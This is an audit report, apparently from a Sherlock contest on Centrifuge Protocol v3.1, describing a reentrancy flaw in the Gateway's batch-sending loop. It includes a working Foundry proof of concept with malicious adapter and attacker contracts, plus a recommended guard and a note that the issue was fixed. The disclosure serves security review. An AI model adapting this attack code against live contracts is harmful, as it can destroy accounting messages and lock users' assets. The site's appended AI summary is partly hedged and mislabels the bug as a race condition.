Malicious adapters can exploit message batching via adapter-side reentrancy to cause message loss for any other pool
The Gateway contract's batch-ending function copies batch locators to memory and clears transient storage before iterating, leaving a window where a malicious adapter can reenter and create new batches that are never sent. This permanently destroys critical accounting messages, causing pool accounting desynchronisation between Hub and Spoke chains.
Source: https://github.com/sherlock-audit/2025-10-centrifuge-protocol-v3-1-audit-judging/issues/635
Found by
0x52
Summary
Gateway._endBatching() copies batch locators to memory then immediately clears transient storage before iterating. During iteration, malicious adapters can reenter through adapter.send() to create new batches in the cleared transient storage. These batches are never sent because the function iterates over its stale memory copy of locators. When the transaction ends, all transient storage is cleared, permanently destroying critical accounting messages and causing unrecoverable pool accounting desynchronization between Hub and Spoke chains.
Root Cause
Gateway.sol#L258-L277 - Gateway._endBatching() lacks reentrancy protection, allowing malicious adapters to reenter during the batch send loop and create new batches that are never processed.
Vulnerability Detail
Gateway._endBatching() copies the batch locators array to memory, immediately clears the transient storage, then iterates over the memory copy. This creates a window where isBatching remains true but the transient locators array is empty. During this window, a malicious adapter can reenter through adapter.send() to create new batches that are added to the cleared transient storage. These new batches are never sent because the function continues iterating over the stale memory copy of locators.
When Gateway.withBatch() is called, it sets isBatching = true and invokes the user's callback to populate batches:
function withBatch(bytes memory data, uint256 callbackValue, address refund) public payable {
require(callbackValue <= msg.value, NotEnoughValueForCallback());
bool isNested = isBatching;
isBatching = true;
_batcher = msg.sender;
(bool success, bytes memory returnData) = msg.sender.call{value: callbackValue}(data);
if (!success) {
uint256 length = returnData.length;
require(length != 0, CallFailedWithEmptyRevert());
assembly ("memory-safe") {
revert(add(32, returnData), length)
}
}
// Force the user to call lockCallback()
require(address(_batcher) == address(0), CallbackWasNotLocked());
if (isNested) {
_refund(refund, msg.value - callbackValue);
} else {
uint256 cost = _endBatching(msg.value - callbackValue, refund);
_refund(refund, msg.value - callbackValue - cost);
}
}
During the callback, messages are added via Gateway.send(). When isBatching == true, messages are appended to transient storage and their locators are tracked:
function send(uint16 centrifugeId, bytes calldata message, uint128 extraGasLimit, address refund)
external
payable
pauseable
auth
{
require(message.length > 0, EmptyMessage());
PoolId poolId = processor.messagePoolId(message);
emit PrepareMessage(centrifugeId, poolId, message);
uint128 gasLimit = messageLimits.messageGasLimit(centrifugeId, message) + extraGasLimit;
if (isBatching) {
require(msg.value == 0, NotPayable());
bytes32 batchSlot = _outboundBatchSlot(centrifugeId, poolId);
bytes memory previousMessage = TransientBytesLib.get(batchSlot);
bytes32 gasLimitSlot = _gasLimitSlot(centrifugeId, poolId);
uint128 newGasLimit = gasLimitSlot.tloadUint128() + gasLimit;
gasLimitSlot.tstore(uint256(newGasLimit));
if (previousMessage.length == 0) {
TransientArrayLib.push(BATCH_LOCATORS_SLOT, _encodeLocator(centrifugeId, poolId));
}
TransientBytesLib.append(batchSlot, message);
} else {
uint256 cost = _send(centrifugeId, message, gasLimit, refund, msg.value);
_refund(refund, msg.value - cost);
}
}
The critical vulnerability occurs in _endBatching(). This function copies locators to memory, clears the transient array, then iterates over the memory copy:
function _endBatching(uint256 fuel, address refund) internal returns (uint256 cost) {
require(isBatching, NoBatched());
bytes32[] memory locators = TransientArrayLib.getBytes32(BATCH_LOCATORS_SLOT);
TransientArrayLib.clear(BATCH_LOCATORS_SLOT);
for (uint256 i; i < locators.length; i++) {
(uint16 centrifugeId, PoolId poolId) = _parseLocator(locators[i]);
bytes32 outboundBatchSlot = _outboundBatchSlot(centrifugeId, poolId);
uint128 gasLimit = _gasLimitSlot(centrifugeId, poolId).tloadUint128();
bytes memory batch = TransientBytesLib.get(outboundBatchSlot);
cost += _send(centrifugeId, batch, gasLimit, refund, fuel - cost);
TransientBytesLib.clear(outboundBatchSlot);
_gasLimitSlot(centrifugeId, poolId).tstore(uint256(0));
}
isBatching = false;
}
The vulnerability exists in this sequence:
- Line 260: Locators copied to memory
- Line 262:
BATCH_LOCATORS_SLOTcleared in transient storage - Line 264-274: Loop iterates over memory copy
- Line 270:
_send()callsadapter.send()with external call - Line 276:
isBatchingset tofalseonly AFTER loop completes
During step 4, a malicious adapter can reenter. At this point:
isBatchingis stilltrue(not set tofalseuntil line 276)BATCH_LOCATORS_SLOTis empty in transient storage (cleared at line 262)- The function is iterating over a stale memory copy of locators
When the malicious adapter reenters Gateway.send(), the check if (isBatching) passes, allowing new messages to be added. These messages create new locators in the now-empty BATCH_LOCATORS_SLOT. However, _endBatching() never processes these new locators because it continues iterating over its stale memory copy.
When the transaction ends, all transient storage is cleared, permanently destroying the messages that were created during reentrancy.
Attack Mechanism
An attacker exploits this vulnerability by:
- Creating an attacker-controlled pool and configuring it with a malicious adapter
- Calling
gateway.withBatch()to initiate a batch - In the callback, sending a dummy message to populate a specific batch slot (e.g., for
POOL_A) - Sending a message using the attacker pool, triggering the malicious adapter
- When
_endBatching()processes the attacker pool's message, the malicious adapter reenters - During reentrancy, calling
queueManager.sync()which creates criticalUpdateHoldingAmountmessages - These critical messages are added to the same batch slot populated in step 3
_endBatching()continues with its stale locators, never sending the critical messages- Transaction ends, transient storage cleared, critical messages permanently lost
The attacker deploys a malicious adapter that implements IAdapter.send() to trigger the reentrancy:
contract MaliciousAdapter is IAdapter {
ReentrancyAttacker public attackerContract;
uint256 public callCount;
function send(uint16 centrifugeId, bytes calldata payload, uint256 gasLimit, address refund)
external
payable
override
returns (bytes32)
{
callCount++;
if (callCount == 1) {
attackerContract.reentrantCallback();
}
return bytes32(0);
}
}
The reentrancy creates critical accounting synchronization messages that are permanently lost. For example, queueManager.sync() creates UpdateHoldingAmount messages via nested batching:
function sync(PoolId poolId, ShareClassId scId, AssetId[] calldata assetIds, address refund) external payable {
gateway.withBatch{
value: msg.value
}(abi.encodeWithSelector(QueueManager.syncCallback.selector, poolId, scId, assetIds), refund);
}
function syncCallback(PoolId poolId, ShareClassId scId, AssetId[] calldata assetIds) external {
gateway.lockCallback();
ShareClassQueueState storage sc = scQueueState[poolId][scId];
require(sc.lastSync == 0 || block.timestamp >= sc.lastSync + sc.minDelay, MinDelayNotElapsed());
for (uint256 i = 0; i < assetIds.length; i++) {
bytes32 key = keccak256(abi.encode(poolId.raw(), scId.raw(), assetIds[i].raw()));
if (TransientStorageLib.tloadBool(key)) continue; // Skip duplicate
TransientStorageLib.tstore(key, true);
// Check if valid
(uint128 deposits, uint128 withdrawals) = balanceSheet.queuedAssets(poolId, scId, assetIds[i]);
if (deposits > 0 || withdrawals > 0) {
balanceSheet.submitQueuedAssets(poolId, scId, assetIds[i], sc.extraGasLimit, address(0));
}
}
... snip
}
When queueManager.sync() is called during reentrancy, it sees isBatching == true (because _endBatching() hasn't completed yet). This triggers the nested batch logic in withBatch():
if (isNested) {
_refund(refund, msg.value - callbackValue);
The nested batch adds messages to transient storage without calling _endBatching(). These messages update the BATCH_LOCATORS_SLOT that was already cleared. The original _endBatching() loop never sees these new locators because it's iterating over its stale memory copy.
Impact
A malicious pool manager can cause permanent loss of critical messages for any other pool. Since messages exist only in transient storage, when the transaction ends they are permanently destroyed with no recovery mechanism.
The POC demonstrates UpdateHoldingAmount message loss, which causes pool accounting desynchronization between Hub and Spoke chains. Queued deposits are consumed on the Spoke but the Hub never receives notification, creating permanent accounting divergence. These messages include a nonce, so losing a single message permanently blocks all subsequent accounting updates due to nonce ordering requirements. However, any message type can be targeted by choosing when to trigger reentrancy during the batch send loop.
Loss of NotifyDepositExecuted or NotifyRedeemExecuted messages prevents users from claiming their shares or assets even though their requests were processed on the Hub. Loss of ExecuteTransferShares messages during spoke-to-spoke transfers causes permanent share loss where shares are burned on the source spoke but never minted on the destination spoke. In general this attack can target a host of permissionless message, many with critical impacts from being lost.
Proof of Concept
Add the following file to protocol/test:
pragma solidity 0.8.28;
import "./core/spoke/integration/BaseTest.sol";
import {IGateway} from "../src/core/messaging/interfaces/IGateway.sol";
import {IAdapter} from "../src/core/messaging/interfaces/IAdapter.sol";
import {ISpoke} from "../src/core/spoke/interfaces/ISpoke.sol";
import {IQueueManager} from "../src/managers/spoke/interfaces/IQueueManager.sol";
import {IHub} from "../src/core/hub/interfaces/IHub.sol";
import {AssetId} from "../src/core/types/AssetId.sol";
import {ShareClassId} from "../src/core/types/ShareClassId.sol";
import {PoolId, newPoolId} from "../src/core/types/PoolId.sol";
import {VaultKind} from "../src/core/spoke/interfaces/IVault.sol";
import {BytesLib} from "../src/misc/libraries/BytesLib.sol";
import {MessageLib, MessageType} from "../src/core/messaging/libraries/MessageLib.sol";
import "forge-std/console.sol";
/**
* @notice Malicious adapter that reenters Gateway during message sending
*/
contract MaliciousAdapter is IAdapter {
ReentrancyAttacker public attackerContract;
uint256 public callCount;
constructor(address _attackerContract) {
attackerContract = ReentrancyAttacker(payable(_attackerContract));
}
function send(uint16 centrifugeId, bytes calldata payload, uint256 gasLimit, address refund)
external
payable
override
returns (bytes32)
{
callCount++;
if (callCount == 1) {
console.log(">>> Entering malicious adapter - triggering reentrancy");
attackerContract.reentrantCallback();
}
return bytes32(0);
}
function estimate(uint16 centrifugeId, bytes calldata payload, uint256 gasLimit)
external
view
override
returns (uint256)
{
return 0.1 ether;
}
}
/**
* @notice Attacker contract that orchestrates the reentrancy attack
*/
contract ReentrancyAttacker {
IGateway public gateway;
ISpoke public spoke;
IQueueManager public queueManager;
PoolId public poolId;
PoolId public attackerPoolId;
ShareClassId public scId;
AssetId[] public assetIds;
address public dummyTarget;
constructor(
address _gateway,
address _spoke,
address _queueManager,
PoolId _poolId,
PoolId _attackerPoolId,
ShareClassId _scId
) {
gateway = IGateway(_gateway);
spoke = ISpoke(_spoke);
queueManager = IQueueManager(_queueManager);
poolId = _poolId;
attackerPoolId = _attackerPoolId;
scId = _scId;
dummyTarget = address(0xdead);
}
function setAssetIds(AssetId[] memory _assetIds) external {
delete assetIds;
for (uint i = 0; i < _assetIds.length; i++) {
assetIds.push(_assetIds[i]);
}
}
receive() external payable {}
function executeAttack() external payable {
gateway.withBatch{value: msg.value}(
abi.encodeWithSelector(this.initialBatchCallback.selector),
address(this)
);
}
function initialBatchCallback() external {
console.log(">>> Entering initial batch callback");
gateway.lockCallback();
// Populate batch slot with dummy message
console.log(" - Sending dummy message to populate batch slot");
spoke.updateContract{value: 0}(poolId, scId, bytes32(bytes20(dummyTarget)), "", 0, address(this));
// Trigger malicious adapter
console.log(" - Sending message via attacker pool (triggers malicious adapter)");
spoke.updateContract{value: 0}(attackerPoolId, scId, bytes32(bytes20(dummyTarget)), "", 0, address(this));
}
function reentrantCallback() external {
console.log(">>> Entering reentrant callback (during Gateway._endBatching)");
// Create critical messages during reentrancy
// These will be added to transient storage but missed by stale locators
console.log(" - Creating critical UpdateHoldingAmount messages via queueManager.sync()");
queueManager.sync{value: 0}(poolId, scId, assetIds, address(this));
console.log(" - Messages created but will be lost due to stale locators\n");
}
}
contract ReentrancyBatchLossTest is BaseTest {
using MessageLib for *;
using BytesLib for bytes;
MaliciousAdapter public maliciousAdapter;
ReentrancyAttacker public attacker;
ShareClassId defaultTypedShareClassId;
PoolId attackerPool;
function setUp() public override {
super.setUp();
defaultTypedShareClassId = ShareClassId.wrap(defaultShareClassId);
balanceSheet.updateManager(POOL_A, address(queueManager), true);
attackerPool = newPoolId(OTHER_CHAIN_ID, 999);
address asset1 = address(erc20);
address asset2 = address(new ERC20(6));
(,, uint128 createdAssetId1) =
deployVault(VaultKind.SyncDepositAsyncRedeem, 18, address(0), defaultShareClassId, asset1, 0, THIS_CHAIN_ID);
(,, uint128 createdAssetId2) =
deployVault(VaultKind.SyncDepositAsyncRedeem, 18, address(0), defaultShareClassId, asset2, 0, THIS_CHAIN_ID);
attacker = new ReentrancyAttacker(
address(gateway), address(spoke), address(queueManager), POOL_A, attackerPool, defaultTypedShareClassId
);
AssetId[] memory assets = new AssetId[](2);
assets[0] = AssetId.wrap(createdAssetId1);
assets[1] = AssetId.wrap(createdAssetId2);
attacker.setAssetIds(assets);
maliciousAdapter = new MaliciousAdapter(address(attacker));
IAdapter[] memory maliciousAdapters = new IAdapter[](1);
maliciousAdapters[0] = IAdapter(address(maliciousAdapter));
multiAdapter.setAdapters(OTHER_CHAIN_ID, attackerPool, maliciousAdapters, 1, 0);
erc20.mint(address(asyncRequestManager), 1000e18);
vm.prank(address(asyncRequestManager));
erc20.approve(address(balanceSheet), 1000e18);
vm.prank(address(asyncRequestManager));
balanceSheet.deposit(POOL_A, defaultTypedShareClassId, asset1, 0, 1000e18);
balanceSheet.updateManager(POOL_A, address(attacker), true);
}
function _parseSentBatch() internal view returns (uint256 totalSent, uint256 dummyMessages, uint256 criticalMessages) {
bytes memory sentBatch = adapter1.values_bytes("send");
bytes memory remaining = sentBatch;
while (remaining.length > 0) {
uint256 length = gateway.processor().messageLength(remaining);
bytes memory message = remaining.slice(0, length);
MessageType msgType = MessageLib.messageType(message);
if (msgType == MessageType.UntrustedContractUpdate) {
dummyMessages++;
} else if (msgType == MessageType.UpdateHoldingAmount) {
criticalMessages++;
}
totalSent++;
remaining = remaining.slice(length, remaining.length - length);
}
}
/**
* Attack flow:
* 1. Create initial batch with dummy message to populate batch slot
* 2. Include message using attacker pool with malicious adapter
* 3. During _endBatching(), malicious adapter reenters
* 4. Reentrant call creates critical messages in same batch slot
* 5. Gateway uses stale memory locators, misses new messages
* 6. Transaction ends, transient storage cleared, messages LOST
*/
/// forge-config: default.isolate = true
function testReentrancyBatchLoss() public {
console.log("\n=== REENTRANCY BATCH LOSS ATTACK ===\n");
AssetId[] memory assets = new AssetId[](2);
assets[0] = attacker.assetIds(0);
assets[1] = attacker.assetIds(1);
// Capture expected message using snapshot
uint256 snapshot = vm.snapshotState();
queueManager.sync{value: 100 ether}(POOL_A, defaultTypedShareClassId, assets, address(this));
bytes memory expectedMessage = adapter1.values_bytes("send");
bytes32 expectedMessageHash = keccak256(expectedMessage);
vm.revertToState(snapshot);
console.log("Expected message hash:", vm.toString(expectedMessageHash), "\n");
(uint128 depositsBefore, ) = balanceSheet.queuedAssets(POOL_A, defaultTypedShareClassId, assets[0]);
console.log("Deposits before attack:", depositsBefore);
attacker.executeAttack{value: 100 ether}();
(uint128 depositsAfter, ) = balanceSheet.queuedAssets(POOL_A, defaultTypedShareClassId, assets[0]);
console.log("Deposits after attack:", depositsAfter);
uint256 expectedMessageSentCount = adapter1.sent(expectedMessage);
console.log("Expected message sent count:", expectedMessageSentCount, "\n");
(uint256 totalSent, uint256 dummyMessages, uint256 criticalMessages) = _parseSentBatch();
console.log("Messages sent:");
console.log(" Total:", totalSent);
console.log(" Dummy (UntrustedContractUpdate):", dummyMessages);
console.log(" Critical (UpdateHoldingAmount):", criticalMessages);
console.log("\nATTACK SUCCESSFUL - Critical messages lost!\n");
assertEq(criticalMessages, 0, "Critical messages should be lost");
assertGt(dummyMessages, 0, "Dummy messages should be sent");
assertEq(depositsAfter, 0, "Deposits should be consumed");
assertGt(depositsBefore, 0, "Should have had deposits before");
assertEq(expectedMessageSentCount, 0, "Expected message should never be sent");
}
}
Code Snippet
Vulnerable code - stale memory locators and reentrancy window:
Tool Used
Manual Review
Recommendation
Add an isSending reentrancy guard to prevent adapters from reentering the Gateway during batch processing. When isSending is active, withBatch() should revert to prevent nested batch creation during the send loop:
contract Gateway is Auth, Recoverable, IGateway {
... snip
// Outbound & payments
bool public transient isBatching;
+ bool public transient isSending;
bool public transient unpaidMode;
address internal transient _batcher;
... snip
function withBatch(bytes memory data, uint256 callbackValue, address refund) public payable {
require(callbackValue <= msg.value, NotEnoughValueForCallback());
+ require(!isSending, ReentrantBatchCreation());
bool isNested = isBatching;
isBatching = true;
_batcher = msg.sender;
(bool success, bytes memory returnData) = msg.sender.call{value: callbackValue}(data);
if (!success) {
uint256 length = returnData.length;
require(length != 0, CallFailedWithEmptyRevert());
assembly ("memory-safe") {
revert(add(32, returnData), length)
}
}
// Force the user to call lockCallback()
require(address(_batcher) == address(0), CallbackWasNotLocked());
if (isNested) {
_refund(refund, msg.value - callbackValue);
} else {
uint256 cost = _endBatching(msg.value - callbackValue, refund);
_refund(refund, msg.value - callbackValue - cost);
}
}
function _endBatching(uint256 fuel, address refund) internal returns (uint256 cost) {
require(isBatching, NoBatched());
bytes32[] memory locators = TransientArrayLib.getBytes32(BATCH_LOCATORS_SLOT);
TransientArrayLib.clear(BATCH_LOCATORS_SLOT);
+ isSending = true; // Set guard before external calls
for (uint256 i; i < locators.length; i++) {
(uint16 centrifugeId, PoolId poolId) = _parseLocator(locators[i]);
bytes32 outboundBatchSlot = _outboundBatchSlot(centrifugeId, poolId);
uint128 gasLimit = _gasLimitSlot(centrifugeId, poolId).tloadUint128();
bytes memory batch = TransientBytesLib.get(outboundBatchSlot);
cost += _send(centrifugeId, batch, gasLimit, refund, fuel - cost);
TransientBytesLib.clear(outboundBatchSlot);
_gasLimitSlot(centrifugeId, poolId).tstore(uint256(0));
}
+ isSending = false; // Clear guard after loop
isBatching = false;
}
}
Discussion
sherlock-admin2
The protocol team fixed this issue in the following PRs/commits: https://github.com/centrifuge/protocol-internal/pull/77
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
Likely the batch-ending loop makes an external call to the adapter while `isBatching` is still true and the locator list has already been cleared, so reentrant calls can add batches that the stale in-memory locator list never includes.
Impact
A malicious pool manager could permanently lose critical messages for any other pool, causing accounting desynchronisation, blocked nonce-ordered updates, and users unable to claim shares or assets.
What the attacker needed
Attacker controls a pool and its adapter; victim pool has queued messages to lose; attacker can call withBatch
The fix
The protocol team fixed this issue by adding an `isSending` reentrancy guard that prevents `withBatch()` from being called during the batch send loop.
How it was found
- Create an attacker-controlled pool and configure it with a malicious adapter.
- Call `gateway.withBatch()` to start a batch.
- In the callback, send a dummy message to populate a batch slot for the victim pool.
- Send a message using the attacker pool, which triggers the malicious adapter.
- When `_endBatching()` processes the attacker pool's message, the adapter reenters and calls `queueManager.sync()`, creating critical messages in the same batch slot.
- `_endBatching()` continues with its stale locator list, never sends the critical messages, and the transaction ends with transient storage cleared.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
When a contract calls another contract, that other contract can call back into the first one before it finishes. Here, the Gateway was in the middle of sending a batch of messages and had already cleared its list of what to send. A malicious adapter used that callback to add new messages, but the Gateway never looked at them again. At the end of the transaction, temporary storage is wiped, so those messages were lost forever.
What is Race condition?
Parallel requests reach a state the code assumed could not happen: a coupon used twice, a limit overrun, a check skipped.